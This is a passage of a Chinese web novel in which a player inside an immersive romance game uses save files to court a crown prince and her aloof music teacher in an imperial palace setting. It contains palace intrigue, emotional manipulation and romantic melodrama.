赵晞意外你的身手,但此时民风开放,习武的女子也不算稀少,便也没大惊小怪地盘问你。 “好大的口气,敢实现我的愿望。若我要你活死人,解瘟疫,你当如何?” 做不到。 但你有存档读档功能,他吃过就换一样送他。 而且他不可能吃过现代的食物。 你做了金灿灿的炸鸡,搭配葡萄果茶。 这条支线里,你第一次下厨,惊动了半个坤宁宫的人。 女官们认为不合规矩,但也没有强硬地阻拦你。她们为你清了厨房,找来御膳房的帮手为你准备食材。快餐的制作流程很简单,有人辅助就愈发顺畅。 太子和宫女内侍们站在一起,看你在厨房里忙碌做菜的身影。 既然你敢发出赌约,就说明心里有把握。但真正尝到味道时,他还是震惊到了。 很好吃。 新出锅的炸鸡表皮酥脆,用奶腌制的鸡肉滑嫩松软,又不失口感。搭配的葡萄汁喝得出茶味,火候适宜,茶香恰到好处,放了冰块提凉,十分解暑。 “……” “…………” 女官与一众宫人们自动站在你的一方紧张,盯着他们的殿下。 食物吃过与否是很主观的事,主要在人品。他硬要说自己吃过,你也没办法。 但赵晞显然是重诺的一类。吞咽过后,他很郑重地对你说以后是朋友。 “太好了景蕊姑娘!” “景蕊姑娘我也吃吃可以吗?” “葡萄茶给我倒一小杯!不是只有殿下能吃,对吧?” 你被热情的宫人们淹没了。 赵晞抱着碟盘坐到一旁,若有所思盯着被人群簇拥的你。 你又不缺朋友。 跟他交朋友做什么?担心他把你和林彧的事说出去?他说了不告诉母后就不会说。 你肯定另有图谋。 做出的炸鸡和果茶都分出去,你走到赵晞身边,跟他并肩隔了段距离坐在一处。 他想起太子的架子:“我让你坐了吗?” 你道:“我以为太子殿下对朋友很厚道的。” “既然如此,我还是……” “坐着。” 你就没打算站起来。 迟早都要离开这个时间线,回到主档去,所以不必在意数值评价的问题,随心所欲,有些回到了第一关状态。 关卡难度果然在提升。 首先通关条件不透明,而且太肝了,连个快进键都没有。 但是游戏里过得再久,也不会耽误现实生活的时间,你也就习惯了。 有难度也算一种挑战,你鼓了鼓气。 “殿下,我实在喜欢林师父,想嫁给他,你有没有什么办法?” 赵晞想到过这一层。只是不曾想你这样厚脸皮,能毫无负担地把心意说出口。 他几个姐姐选驸马时也求过他,但都说得很委婉,让他套话之类。 不过那时对方顾念他的身份,自然怎么好听怎么说,他觉得偏听没用。 头一回有人让他想办法。 “你求我母后赐婚不就好了?” 宫中赐婚,林彧抗旨要被杀头,不信他不同意。 “成亲容易,可是我想要他真心实意顺服于我,婚后过上人人艳羡的美好生活。” 赵晞:“……” 你将腿伸直,平铺了裙摆,脚尖朝上晃晃。 “您是他的外甥,又是他的徒弟,一定很了解他吧?您知道他喜欢什么样的女子吗?我怎样做他才能真心爱上我?” 他回忆你与林彧在琴室中的对话。 其实。 小舅舅很会吵架,朝堂上或是私下里,常常把人说得哑口无言,进而在私下记恨。 你如此无顾忌,言辞激进,他都没说重话。 不敢想换成是他说林彧装,会被批成什么样子。 但他没经历过,无法判定这种“特别”是不是爱的一种。已然是朋友,不能乱说话害你。 赵晞回答你的问题。 “我还算了解他。” 他有记忆起就认识林彧,抛去亲戚、师生身份不谈,他们算是竹马之交。他认为是,但对方端长辈架子,课下从不跟他一起玩。 “没见过他对哪家女子动心。” 过去林家操心他的亲事,他用离家出走表示自己的态度,外公外婆都拿他没办法。 你是第一个。 要不是今天你说的话太伤人心,林彧一定会发觉他在附近,然后微笑着把他赶走,像之前很多次一样。 “想他爱上你,多对他说点好听的话?” 他根本给不出有用的建议。 你在此处存档,覆盖琴室档位。 “殿下喜欢听好听的话?” “嗯?” “殿下对怎样的女子动心?” “……没想过。” 他眼神古怪:“省省吧,本殿下对你这种小丫头没兴趣。” 你想到什么,笑:“你喜欢老奶奶?” “啊??” “以为谁都是你?我可不喜欢老的。” “……” 你也不喜欢来着。 但林彧于真实的你来说并不老,跟其他的攻略对象相比甚至是适龄人。 当然,玩游戏而已,不必想太多。平面游戏看立绘,全息游戏看建模。 反应过来自己攻击了谁,赵晞不再说话,担心惹怒你,传到林彧耳朵里被他教训。 他将剩下的葡萄果茶喝完,嚼杯底的冰块,咀嚼的脆响成了厨房里唯一的声源。 荼蘼花的香气越来越浓。 并不会有闻到馥郁花香时的鼻酸感,但身体还是有些异样,你的心跳在加快,呼出的气到了发烫的程度。 这是他体香的作用? 鼻子忽然发痒,流下一道温热的血滴,浸透到裙摆上印出布料的纹路。 赵晞吃着炸鸡,余光瞥见你裙子上的血色,诧异转头。 “你怎么了?不舒服吗?” 鼻血源源不断涌出,他吓得拿自己的帕子往你鼻孔里塞。 “太医,来人!叫太医!” 你从他手里接过帕子,他的贴身物品上自然也有他本人的体香,距离过近,你有一瞬间的迷乱,为了让自己清醒过来,直接把他的手帕扔到地上。 赵晞:“……” 你到水缸附近,舀水去屋外清洗。冰凉的水拍到头顶,将血凝住,户外空气畅通,缓解了你被异香催出的情欲。 处理干净鼻血,太子身边的内侍将御医引了过来,就近在院中石桌处给你把脉。 “情志不舒,体内积热,这几日饮食吃些去火的,想开点,别生气动怒。” “多谢于医师。” “客气了,景蕊姑娘。” 于医师擦了擦汗。他是在太医署被太子身边的人硬拉过来的,还以为有十万火急的病,结果只是个女孩流鼻血。 病人无碍是最好的。但他难免认为太子及身边人不稳重,小题大做。 你没把病状放在心上。送走御医,你问心不在焉的赵晞是否别人在他身边也有这种情况发生。 赵晞道:“所以是我熏到你了吗?” 你:“……” 某种程度上说,他和卫棠有异曲同工之妙,说话都很难听。 不过一个是用牙尖嘴利来保护自己,一个是天生说话不讲分寸。 “是您香到我了。” “对不起。” “……没事。不过别人没在您面前这样过吗?” “没有。我以后一天洗五遍澡。” 你暂且不理会他的决心:“没见过别人呼吸急促,流鼻血的症状吗?” “你什么意思?我道歉了还不行吗?” 不欢而散。他单方面。 之后你观察了一天,旁敲侧击问相熟的宫女。 的确只有你会对他的异香有特别反应,其他人只是单纯认为是好闻的气味。 官配。 积分一定会高的官配。 第85章 关卡给出的【通关条件】没有明确任务对象, 你以为是允许自由选择npc打恋爱结局的意思,结果还是有他们的偏爱。 一开始直说有隐藏官配,能节省你很多时间。 至少卫棠线不必走好几遍。和他在湖边的小房子隐居时, 你就觉得很圆满, 但因为评分低又走了教书夫子结局。 找到官配, 就像是答一张空白试卷,不论怎么写最后都有参考答案托底。 总之, 你可以抛去压力,放开探索剧情了。 林彧那日之后再没进宫过,除了赵晞没人知情你与他的口角。 他不进宫才是正常的。 虽然宫中人都知道你们是师徒, 但孤男寡女共处一室, 终归不大好看。林彧怎样无所谓,皇后主要担心你嫁人的问题。这时候女孩子十六岁还没找到人家算是晚嫁, 你的母亲去世,帮你张罗的担子就落在她身上。 她听说你和太子的赌约。你亲自下厨, 做了名叫“炸鸡”、“果茶”的新鲜菜式,如今和赵晞成为了朋友。 为人母,总要比别人想的更深、更多一些。约一年前,她提过让你嫁给小儿子的想法, 你当时用漂亮的话拒绝, 自陈与太子不相配, 请她收回成命。 相不相配,她心里有数。你在她身边长大, 她看着你从鲜嫩的花苞长开成姝丽稳重的少女, 即便没有血缘,她心中待你也有母女情分在。自然,你看不上她儿子, 再选别人也可以。 她心里肯定还是她的小孩最好。虽说举止轻浮,心性散漫,但晞儿为人善良,有侠义之心,在贵族里算是难得的心境。 两个孩子年岁相仿,今日结缘做了朋友,来日便能生出情谊。 也许最后真能走到一块也说不定。 * 皇宫中的生活像度假一样,阔别已久的缘故,你暂时保留着新鲜感。 这个档里,皇后因有教养你的情分在,天然对你亲昵。又是温和慈爱的性子,不需你维护感情,甚至起得晚了,连请安也不必去。 闲来无事,你研究虚拟面板里的各项数值,发现一个意料之外的惊喜。 金雀钗一直显示【已经得到】的红字,即使不是同一个时空。 所以是一个账号只需要获得一次就足够的那种。 看来游戏并没变,还是有点贴心之处。 “景蕊姑娘,沈家小姐来看您了。” 你坐在琴前,闻声起身。 “请进来。” “是。” 你与景妍有很久没见过了。 西行离家档,分别时她因气闷,没有跟你说道别的话。她不懂你为什么非要抛下一切去那么远的地方,关外有什么,比她,比母亲还重要吗?你这一走,一辈子可能都不会回来了。 教书夫子档,不同的时间线,她找到了关外值得她抛下姐姐、母亲也要去的意义。二十岁的景妍作女使,与中原使团带着瓷器、先进的手工与农业技术去到陌生的国家,带回珍贵的宝石、玉器、农作物的种子,还给你带回了一只波斯猫。她受皇命出面谈判,劝与另国结盟,联合对付充满野心的北国。 都是各奔天涯的发展。 宫人将景妍引进室内。 眼下,她尚且稚嫩,迈步舒缓,身材清瘦而有力,比主档里的景妍少些柔和,眉眼倔强,虽也爱笑着看人,但没了讨好。 “姐姐……” 她远远望着你微笑。 “景妍总算见到你了。” 前些年不能见,皇帝对父亲放权,不许他与旁人结党,不许他做违背圣心的事,一言一行只能遵从上面的吩咐,做一个无神的傀儡——以他唯一的嫡女之命威胁。 后来皇帝认可了父亲的忠心与能力,真正将他当作副手,曾暗示他可以把女儿接回去。不接也可以,皇后很喜欢他的这个女儿,她的公主都出嫁了,身边有个小女孩陪着解闷不错,不会亏待了景蕊。 父亲没有接姐姐回来的念头。母亲的离世成了他的心结,这些年来,除了公事他都没有离开过家里。他看不得别人家团圆,也听不得别人提起妻子,似乎也因此不想见到姐姐。 但姐姐当年离家,不也是为了他的仕途吗。他如今又在怪谁? 家中唯有安静的云衢得他待见。 景妍懒得理父亲,无人看管,她有很多时间做自己的事。 近些日子,她在用压岁钱经商,看上了一套头面,西域的血石所制,光线暗时只靠蜡烛的火光就能映亮,是宝珍楼的镇楼之宝。姐姐成年了,往后宫里操办她的婚事,作为妹妹,景妍想为她添置嫁妆。 机缘巧合与太子相识。太子性情豪爽,乐于助人,帮她摆平过一次流氓,不论出身,交这样的朋友亦有前景。而且她还可以借他的方便,跟被困在皇后宫里的姐姐见面。 之前就求他带她进宫一次,不过……当时的姐姐看起来很忙。 眼睛里只装得进林大人呢,一点都看不见被她抛弃过的景妍,头都不回就走了。除了长相,那个老男人有其他的优点吗?眼高于顶,自说自话,他不配得到姐姐的喜欢。不过姐姐硬要喜欢也没办法,她会支持的。 景妍这次备礼去东宫求见,太子对她的来意十分明晰,没跟她说什么废话便带她进到皇宫,一路步上坤宁,她的姐姐就住在这里。 “你和沈景蕊并非一母所生。” 马车外,传来太子赵晞的声音。 他疑惑于她对姐姐的诚心。 并非一母所生,也能如此珍爱吗? 他就做不到对其他宫妃的子嗣嘘寒问暖,想到那些人是他父皇背着母后跟其他女人翻云覆雨生下的人,他就觉得恶心。 但沈景妍不这样想,还上赶着心念她这位八岁以后没归过家、鲜少见面的姐姐。 赵晞记得当年沈家后宅闹得很难看。 老太太死后,沈大人带外室回家,与夫人生疏。还发生过走水的祸事,外人无从知晓是否偶然,但有风声说是沈景蕊干的,那场火险些烧死沈景妍母女,至今在沈景妍的脸上还残留疤痕。但因形状好看,没人背后议论什么。本人也不甚在意。 沈景妍明白太子的意思。 她娘与姐姐的母亲立场相对。娘当年若没有自尽,两房之间暗潮涌动,针锋相对,也许姐姐就不会接纳她,她也不会这样喜欢姐姐。 像前年她做的那场梦一样。她娘斗输了,把自己斗死在家里。夫人彻底变成坏人苛待她,姐姐嚣张跋扈地欺负她,做恶毒阴损的招数对付她。 景妍认为,不论是她娘,还是夫人和姐姐,都不是梦中那般癫狂恶毒。 娘为了她能过上沈府小姐的日子自尽。 姐姐在她最难过的时候温柔待她,虽然没说过什么好话安慰她,但她总是陪着她。 夫人与她不亲近,但从不冷落她。姐姐有的东西她都会有一份,姐姐被父亲送进宫后,她还会哄想念姐姐的她入睡。 她没有不喜欢姐姐的理由。 就算姐姐一时不理她,也只是在外面学坏而已,她有信心让她变回自己的姐姐。 下了马车,赵晞送她两颗黑珍珠,是今年新来的贡品,每颗都价值连城。他有一盒子,打算每个朋友送一颗。 “给我一颗就够了,殿下。” 赵晞道:“送你姐姐一颗。” 景妍:“……” 她在心里叹气,见了面,将珍珠送到你手里。 “姐姐,这是太子殿下托我转交给你的。你看,我也有一颗,我们穿成手链一起戴如何?” 并无不可。 “姐姐和殿下如今关系也很好吗?相较林师父,你更喜欢哪个?” “嗯……更喜欢卫棠。” 你们比较有感情基础。 景妍没想到还能从你口中听到的这个名字。 “卫棠……” “母亲过世后,他就从家里离开了。姐姐知道他的下落吗?” “他离开了?” 景妍点头。你不在,他没有再在沈家待下去的理由。 她望着你,道:“我盼着姐姐快些嫁人呢,嫁出宫去,我们见面就容易些了。” 临走前,她说她之后还会再来看你。 送走景妍,你过了安宁的几日。 黑珍珠穿的手链赶制出来,被她托人送到你这边。 你穿着纱裙,将轻柔的纱袖挽起,单手佩戴。 “怎么不叫人?” 一股清新的荼蘼花香袭来。你晃了晃神,定眼去看,赵晞一身黑色薄衫蹲在你身前,接过你手中的手链,帮你把扣系好。 天热的缘故,他的衣料轻薄透气,也因此蹲身时看得见领口里面的阴影,还有脊背紧致的弧线。 “我自己也可以戴。” “说晚了。” 他站起身,挪了把椅子到你身边坐下。 这是你们“交朋友”以来的第二次见面。 你问:“太子殿下对每个朋友都这样好吗?” 赵晞靠着椅子,腿伸得老长:“本殿下对所有朋友都够意思。” 你“哦”了声,拆他给你系好的手链。单手终究不好操作,解了半天也没解开。 赵晞无聊地望着屋顶,许久没听到你找话题,眼睛瞥过去。 “摘了?不喜欢?” 你没有抬头:“嗯,因为殿下会给你所有的朋友都系手链。” 赵晞:“……” 他有些疑惑:“我当然不。” “你跟我生气,我殷勤些找你和好,不是应该的?” 你抬眼盯他:“没给其他女子系过吗?” 他笃定道:“一根手指都没碰过。” 你晃了晃手,将手链晃到手腕处,对他笑了一下。 “以后也不可以碰。” “……啊?” 他觉得你怪怪的。 “为什么不让我碰别人?难道你” “因为我嫁不成林师父,也不想看你过得好。” “……” 你笑:“朋友都是这样的。” 第86章 林彧回府关了自己几日。 因断水断食晕死, 被家中仆人救出,卧床将养身体。 父亲唉声叹气在房中徘徊,母亲哭着问他到底是什么事想不开, 他们年纪大了, 林彧是他们最小的孩子, 实在不忍看他自伤。 可他始终不发一言。 你说了那些话,骂他贱、装。 爱你便要任你羞辱吗?他就没有尊严和底线吗? 以后不要再见面了。 他想。 情绪平静下来后, 他又反思,是他做得不好。你没有一句话说错,他就是那样的。 他就是很喜欢被景蕊碰, 但又自持师父与长辈的身份, 在心里等待她的主动。 现在恼羞成怒什么,又在伤心什么? 为什么不去想, 景蕊突然说出那般越矩的话,是不是谁欺负了她, 惹她生气? 思及此处,林彧打起精神,接了小厮手里的淡粥喝。 强撑起身,他召来亲随, 派去调查最近沈小姐在宫里有没有被谁刁难。 等弄清事情的来龙去脉后, 他要跟你谈谈。 他想问你, 是否真心对他有情,想嫁给他是因为爱他, 还是与谁赌气。 如果你真的爱他, 真心想嫁给他,他会请求圣上外调官职,去离汴京很远的、你喜欢的地方为官定居, 免除俗世烦扰。 如果你只是意气用事,说说而已,并不喜欢他,只是玩弄他,他便离开,不再纠缠,从此与你当作陌路。 沐浴净身,更换整洁的白衣,他变回平日里冷淡疏离的模样。才从病中走出,形容消瘦,却不脱相,反而越发仙姿道骨,谪仙临世。 “公子醒了……” “公子真漂亮……眼睛被养好了呢,每天看臭味男,差点想死……” “喂你什么意思!” “说你臭,怎么了!” 林彧无视家中人的喧闹,去前厅拜会父亲,从他那领自己搁置许久的公务。 不剩什么了。 皇帝和那些朝臣也在羞辱他。 过去他弹劾朝官三中有二无用,应夺官养兵,如今,做最无用之事的官却是他。 文书随手扔到书案上。 不想干了。 毁了算了。 “公子。” 亲随朝他行礼,汇报他想查的内容。 宫中的确有他与沈小姐纠缠不清的传言,但这种传言在沈小姐十五岁时就开始传了,并不是最近才有。 要说最近…… “支支吾吾什么?” 亲随道:“最近,沈小姐与太子殿下交好。” 他觑着主子脸色。 “……相谈甚欢,举止亲密,皇后娘娘因此很是高兴,二人聚在一起时,娘娘不许旁人打扰。” 林彧:“……” 在脑子里把情报中的两人名字反复确认,惊心动魄之余,心中窜起一股火。 阿姐要做什么? 合适吗? 谁跟景蕊认识最久,关系最好,看不出来吗? 非要撮合太子与景蕊是什么意思? “驾车进宫。” “公子,您身体……” “我没事,进宫。” 他要去告诉景蕊,跑着去告诉她。他喜欢她,他就是没有尊严,不要脸,喜欢被她践踏。 玩弄他也好,真心话也好。 有他一个就够了。 她说的都对,他比她年纪大,能早死。死了之后她能再找别的夫君,比之嫁给太子,哪个更合适不言而喻。 他要告诉她! * 你这几日总能碰到太子。 赵晞干脆直说:“你堵我?” “没啊。” “那我为什么总能遇见你?” 你但笑不语。 很想建议他往周围看看。 每次他和你遇见时,身边的侍从都像被绑架了一样被人勒着脖子拖走。 习武之人,这种明目张胆的行动居然看不见吗? 显然幕后有谁在撮合你们。 “为什么每次见面,你都脸红?你很热吗?” 你依然只笑。 体质吸引。 如果他想了解,你可以把【暖情香】调出来给他闻闻,闻过他就懂了。 你并不排斥这种感觉。 浅浅的欲望吊着你,让你情不自禁盯着他。 在主档里,他全程戴面具行走市井,无论是脸还是体香都处理过,使你没有察觉。 而在宫中,在他的家里,他没有一丝防备,香味像无形的手,柔柔软软扳着你的脸,让你迷恋一个天真纯净的男人。 总是无法控制地望他雪白的后颈出神,反应过来时,脑子里已经有无数种假设,把他来回翻干。但因为没有干过,只能冒昧地把他的脸和身体换成别人。 赵晞被你看得不自在,反抗的目光不被搭理,只能缓缓脸红。 “为什么不说话……” 你想了想你跟他之间的话题。 “林师父最近怎么没进宫?” 他眼神一变:“哦。” “嗯?” “林师父病了。连早朝都不去,你觉得他会来见你?” “……” 他还是站在他舅舅那边。 “沈景蕊,你那天的话就是太过分了,如果还喜欢他,我可以带你出宫跟他道歉。” “我不道歉。” “做错事还不道歉。”他单腿叠在另一只腿上面,躬身凑近,开始说风凉话,“那你这辈子都别想见林师父了。” 不至于。 “你为什么学我叫林师父?” “他本来就是我的太傅,叫师父怎么了。倒是你,你拜师了吗就叫他师父?” “他教我学琴,你不知道?” “我为什么要知道你的事?” “好伤心啊。你不关心我?我们不是朋友?” 赵晞:“……” 他压着身子,看你低头后的表情。 “是真伤心还是骗我?” 当然是骗他。 你才想笑,就感觉胸口燥热,很想在他脸上亲一口。 或许盯着他的目光过分直白,赵晞竟猜出你眼神的意义,两只耳朵烧起来。 不是喜欢林彧,要死要活嫁他吗? 真花心。 看他好看就想亲他,一点自制力都没有。 不会给你机会的。 “景蕊!” 略带些喘的、清越的声音响在宫院门口。 你闻声望去,正是多日不见,赵晞说绝不会来找你的林彧。 他是跑着过来的,步子到门口停住。长发乱成纱般垂在前襟与肩膀,其中一丝勾着他的脸侧。 他脸色苍白,有些病容,但于他清雪般的气质而言,反而加分。炎炎夏日看这么一眼,和在眼睛里滴了冰镇过的眼药水一样舒服。 “景蕊,过来。” 他叫你的名字,却冷冷望着赵晞。 赵晞白他一眼,很无语。 但他有那么一丝隐秘恶劣的心思。 刚刚你还想亲他呢。 你如果留在这,下了林彧的面子,他就允许你亲他。 谁让林彧那么凶的。 差了十岁出头,就真把自己当长辈。他还记着小时林彧出去玩不带他的仇呢。 你回头。 鼻尖上润了一层光亮,是树叶间的光斑打在上面的样子。 一阵热风迎面吹来。 他心跳忽然变得好快,耳边听得见砰砰的声音。 真的选他? 你低声道:“殿下,快想想,我说什么能让林师父开心?” 赵晞:“……” 是为了这个。 没错,你和他做朋友就是为了这个。 光线暗淡下去,你和林彧变得一样可恶。 想骗你惹林彧生气,但话到嘴边,他说不出口。 只道:“随便说,你跟他说话,他就会开心。” 得到提了跟没提一样的建议,你跑往林彧身边。 他的目光是郁色的,由远及近地追随你,落在你的眼睛。 “林师父,我听说你病了,还好吗?” 装乖。 你有别的面目,是装给谁看? 林彧扯了扯嘴角:“不践踏我吗?” “嗯?” 他迅速扫了你身后一眼,低头到你凑近就能吻到的高度。 “如果你还愿意。” 如果你没变心。 他的睫毛在颤抖,没有眨动,只是隐隐的跟着人颤抖。 你抬手,落在他的唇上,将他往后推。 顷刻之间,林彧如临寒窖,脑子里瞬间只有寻死一个念头。 从未想过被始乱终弃。 他的骄傲、爱情,已经不允许他再活下去,看到你风风光光嫁给一个比他更合适你的人。 你看到他眼中失去的神采。 欲扬先抑而已,白活二十多年,这都受不了。 “我已经知道,喜欢你,首先要珍惜你的道理。” “这是太子殿下教我的,林师父,我让你伤心了吗?现在学会还晚不晚?” “……” 风柔柔地吹向他这边。 他神情空白,方才凝滞的血液,此刻逐渐回温,在心口处炸开。 珍惜……他。 不对。 是你没有喜欢上太子。 沉重的身躯倾倒般轻盈起来。原来一直拖拽他脚步的是这种见不得光的嫉妒。 你这段时间和太子交往紧密,是为了他。 为了能跟他和好,求助于他的外甥。 仅此而已。 “不晚。” 他紧攥着心脏,吐出发音简单的两个字。 你仰头看他,拨他脸侧碎发。 林彧慢慢地覆盖住你的手,想靠近,但知道场合不对。 他露出一抹笑。和过去常见的冷笑、嘲笑、假笑都不同,是有些青涩的笑。 你道:“去琴室吧。” 他的笑便凝住。 转折如此,会给他一种,你说那些甜言蜜语、哄他的话,都是为了得到他身体。 他警告自己,最好还是不要那么想。 除了自苦,并无他用。 进到琴室,你将门合上,拉着他手仰吻他。 他这次很诚实地贴近你,距离与之前不同。 你确认他已经全身心爱上你了。 于是问:“林师父,假如我当初没有进宫,你仍然教我学琴,你还会喜欢我吗?” 林彧额头与你相抵,勾着你的指尖轻轻摩挲。 “我若贸然喜欢你,与禽兽无异。没有这种前提。” “都十五岁之后了,家里给我办过及笄礼。假如我娘让我挑夫君,我把花给了你,你却一口回绝了我……是为什么?” “你为何选我?” “喜欢你。” 他笑了。 “那便是因为,我还有良知,自知不配你。” “算什么良知?都是成年人,我选你就是选你。” “林师父,告诉我,要如何才能摧残你的良知吧……” 第87章 琴室定情。 坦白心意后, 握手说着情话。话至一半,林彧忽然表情空白摔坐到地上。 “林师父?” 他紧攥双手,骨节发白。 “无事……” 这段时间对身体的损耗, 随着心情的转缓全部作用于五脏六腑之上, 身体的每一处都发酸发痛, 连抬眼都觉得吃力。 他不是什么壮硕之人,却也没病成这副样子过。痛苦之余, 他笑自己。 再有这么一次,他可真要早死,放你自由了。 心里翻涌杂七杂八混乱的念头, 被你忽然伸到腿弯的手打断。 你在向上使力, 另一只手揽着他的脊背。 他震惊地望你。 要……抱他吗? 没能成功抱起他,你微微蹙眉, 有些不满地晃着手腕。 算了。 被遗弃的存档而已。 在主档里保持完美就可以了。 “站得起来吗?看你瘦很多。” 你搀扶他的手臂,撑他站起身, 挪动到琴架一侧的坐垫上休息。 实在是个标志的人。你铺平他的衣摆,将他当作华丽的玩偶,捋起一缕发丝在指尖缠绕,打弯放在他肩头。 由下往上打量, 目光从靴尖略到他纤细的腰肢, 再到黑润的眼瞳。 他正分寸不移地注视面前的你。 你梳着双环髻, 发根处缀了许多点珠和小花钗,宁静的眼仿佛一面澄澈的明镜, 给人一种付出了多少爱, 就能在你这里找回同样份量的感觉。 “若当年……” “嗯?” “若当年,我没有把你从你母亲身边接走,而是换一种方式绑你父亲在皇权这边, 真正做了你的师父……” 他看着你眼中的自己。 你歪了歪头,等他后文,这是你方才无论怎样问他,都得不到正经答案的问题。 也是你留在这个存档的原因。 如果他真正做了你的师父。 看着你从稚童变作少女,身份与道德相隔,无法存有异样的心思。 心动变为欣赏,想要接近化成长辈的督促。 骤然听到你说想嫁他,依照他的个性,一定会拒绝彻底,甚至可能就此永远与你疏远。 那样的话……好可怜。 他一辈子都无法得到景蕊的爱了。 像这样,只是摔了一下,就拥上来的嘘寒问暖、关怀备至,他碰都碰不到。 真的,好可怜。可怜而愚蠢。 “那般境况,你想嫁我,其实不必理会我的意愿。” 推翻一切,回到最初与你相见的时间。 既然舍弃带你进宫要挟沈父的路,他一定会用另一种方式将沈家拉入太子阵营。而这种方式很有可能是联姻,联姻对象也就是无论年龄还是局势都很合适的太子。 但沈父日复一日为皇帝做事,手中权力越来越大,难免会惹来皇帝的忌惮。于是婚约被找由头反悔,而那个时候,一定是你议亲迟晚之时。 “把一切推在我身上,即可破局。是我掺和你的家事,害你到了十五岁没有婚约。适龄的公子都被订好,余下的杂七杂八不可能配得上你。” “你让我负责,以身相抵” 你探身吻他的唇。 “林师父好聪明啊。” 他呼吸急促,拉你的手到他脸侧。 该说最了解他的人是他自己吗? 你以为要对付他还得拿出真诚战术,结果几句话就能让对方动摇妥协。 没有存档。 因为没有在这个时间线发展的必要。 就算之后还有不通,也可以读稍前一些的时间点去问太子,或者闯进林彧家里问卧病在床的他一些事。如果在这里覆盖存档,就没办法问太子。 出于通关的长远考虑,你选择直接读档回主档十五岁。 你选择了【林彧】。 没有擅自送出芙蓉像生花。你把花摆放在卧房床头的花瓶里,每日睁眼就能看到的位置。 去时,母亲在打理院中渐渐被夺去生命力的花草。她抚摸着泛黄的叶片,用帕子擦拭上面的灰尘。 丫鬟瞧见你的身影,热情招呼:“小姐又来了?” 母亲循声转头,脸上带着笑。 你先是快走几步,随后跑着到她面前,站定以后,深深望她的面容。 “娘。” “是想好夫君人选,把花送出去了吗?” 你点头,但没有告诉她是谁。 “等我追到手以后,会带他来见您。” 第二日,你等到林彧,在大门口截住他。上次失败的尝试就是这里,你直接提出结婚申请,被他避之如洪水猛兽,游戏判定你为痴情设定,于是之后漫长余生都没给你遇见真爱的可能,孤独终老的结局令你耿耿于怀。 “林师父。” 你迎上去,跟随他,走他身侧。 “你今天怎么来了?” 林彧淡淡瞥你:“我哪天没来?” 你:“……” 的确,主档的这个时期,他除了不过夜,每日早朝或公务结束都在沈府打发时间。 你有很多老师,各有所长,他喜欢同这类的天才结交。 也有对沈府熟悉、信任的缘故。近些年他虽与沈父渐行渐远,但因为是你师父之一,沈府的功能接近学堂,他没把它当成沈父的住宅。 “那你为什么要来呢?” 林彧沉默片刻,“沈景蕊,有事求我?” 你摇头。 他停步:“有事直说,跟师父支支吾吾什么。你想要的,我哪次拒绝过?” 你道:“那我便说了。” “说。” “我现在没有婚约,林师父有什么思路吗?” “都是师父你害的,把太子定给我,都没有其他适龄的男子与我定亲。现在已经晚了,都是挑剩下的,你让我嫁给谁?” 林彧整个人僵住。 他最害怕你跟他对证婚事。 因为他也一直这样想,是他害了你。 “林师父给我想想办法,否则我就要恨你了。” 第88章 林彧才刚进门, 便被你硬生生给堵了回去,一贯气定神闲的姿容不复存在,背影有些狼狈。 你抱臂望他。 他走到马车前, 将要坐进去时顿了一瞬, 稍微回头, 撞进你平静的视线,脊背一瞬发凉。 你很纯粹地盯他, 没有移开视线的意思,他便只能若无其事朝你点头,掀开车帘坐进去, 手指收拢又平伸。 徒弟问他要说法。 ……怪他做了半吊子事, 婚事谈成后应该问宫里要婚书。有了婚书,皇帝想毁约就要考虑更多的事, 说不定能成。 他该如何处理景蕊的婚事……她身边就有不错的适龄男子。 卢云衢虽无家底,但有大才, 师出沈父,以后入朝为官,不说青云直上,高官厚禄不少。 杜枕溪出身名门, 杜相杜慎曾孙, 书香门第, 为人清宁雅致,与世无争, 还是景蕊母亲的亲侄, 嫁回舅家自古便是亲上加亲的美谈。 想要另寻,应是两个都没看上。 “公子,到家了。” 下车遇见出门去官署上值的长兄。他年近四十, 蓄长髯,穿一身绯红官服,行步时威风凛凛。 长兄瞧见季弟一抹白影,眯起眼睛,冷笑:“天天去别人家里躲清净,这是被赶回来了。” 林彧微微一笑,不予理会,一副他爱怎么想就怎么想的态度,拱手行礼便要经过他。 长兄高声讥讽:“林彧,父亲与我从未指望你为林家做什么,但你至少娶妻成家吧?我的孙儿都满月了,你却连妻子也无,除了弹琴,你活在世上还有什么用处?” 仆人听得心惊肉跳。 这是在家门口,道上人来车往,数不尽看热闹的人。 连当今圣上都会卖这位内弟几分面子,大公子却说这些难听的话对付他,实在!实在…… 林彧笑道:“我尚且有琴,长兄有什么?浑水摸鱼,渔利百姓?” “无论多少次,我都认为,朝中像你这般拉帮结派,谋取私利的官员全该裁掉。奈何圣上心善,舍不得你们一无所有。” 长兄面色阴沉:“是,圣上的确心善,留你这般祸害存活于世。他该杀了你,你最擅长胡说八道,日后太子登基,若受你蛊惑,推行你那动摇祖宗之法的歹政,江山便折在你这里!” 林彧淡问:“是江山折在我这里,还是你们这些庸碌官员的生计折在我手里?” “你!” 长兄回身,从亲随腰间拔出佩剑,雪亮的白光一闪,便是尖锐清脆的出鞘声。 林彧眼睛眨都不眨与他相视。 长兄目眦尽裂,胡须起伏。他想,就是这张脸,这张在兄弟姐妹之间,唯一与皇后相似的脸,让他与太子更亲近,在圣上面前不论多么大逆不道,都能保住性命。 他将剑狠狠撇到地上,“咣当”一声,大步迈出府门,亲随在身后将剑从地上捡起,躬身向林彧告罪,跑着追上主人。 “公子……” 林彧摆手,去了府中琴室。将人都赶出去,他拿帕子轻擦琴上落灰。 指尖从琴弦上刮过,他叩问自己能活几年? 王朝能否带着一身弊病维持下去,关他什么事? 他不该管,不该气他们。而该捧着,夸着,让他们这些捞尽油水的官员长命百岁,活到国破家亡的那天,尝尝乱世之苦。 “……” 景蕊还要嫁人呢。 管别人的烂事做什么。 伤口溃烂要百年之后,景蕊的婚事迫在眉睫,他就只有这一个徒弟。 明显徒弟有两个,但林彧完全把太子抛在脑后。 * 目送林彧离开,看到他心虚而故作镇定的模样,心情很是舒畅。 院子里,卫棠在洗衣裳,听到你回来的脚步声,眼睛唰地亮起来,美眸紧盯着你。 看着很可爱,你朝他勾手。 他低头抿了抿唇,牙齿将唇瓣咬得红润些,才用巾帕擦干湿淋淋的手,小跑到你身边。 【小姐】 你牵着他的手回到房中,与他坐着说话。 “我之后选了别人,你不要难过。” 卫棠摇头,眼神坚定比划手语。 【能在你身边就好】 【我做什么都愿意】 “不可以这样。” 你拎起他鬓角编的辫子,纤细的一条,末端用红绳固定住。 “你不可以什么都愿意做。” “以后我的夫君要是欺负你,你一定跟我说。既然你愿意跟着我,我便不会让你受委屈。” 卫棠眼中泛着一圈泪,绵绵地注视你。 